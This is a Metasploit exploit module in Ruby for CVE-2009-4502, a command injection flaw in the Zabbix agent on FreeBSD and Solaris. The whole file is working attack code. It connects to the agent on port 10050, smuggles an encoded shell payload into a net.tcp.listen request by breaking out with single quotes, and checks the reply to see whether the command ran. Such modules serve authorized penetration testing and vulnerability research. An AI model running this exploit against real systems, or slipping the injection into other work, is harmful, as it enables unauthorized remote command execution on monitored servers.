##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zabbix Agent net.tcp.listen Command Injection',
      'Description'    => %q{
          This module exploits a metacharacter injection vulnerability
        in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
        can only be exploited if the attacker can hijack the IP address
        of an authorized server (as defined in the configuration file).
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4502' ],
          [ 'OSVDB', '60956' ],
          [ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars'    => "'",
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 10 2009'))

    register_options(
      [
        Opt::RPORT(10050)
      ])
  end

  def exploit
    connect

    rnd_port = rand(1024) + 1
    buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"

    print_status("Sending net.tcp.listen() request to the zabbix agent...")
    sock.put(buf)

    res = nil
    begin
      res = sock.get_once(-1, 5)
    rescue ::EOFError
    end

    if ! res
      print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")
      disconnect
      return
    end

    if (res =~ /ZBX_NOTSUPPORTED/)
      print_status("The zabbix agent is not running a vulnerable version or operating system.")
      disconnect
      return
    end

    if(res !~ /ZBXD/)
      print_status("The zabbix agent returned an unknown response.")
      disconnect
      return
    end

    print_status("The zabbix agent should have executed our command.")
    disconnect
  end
end
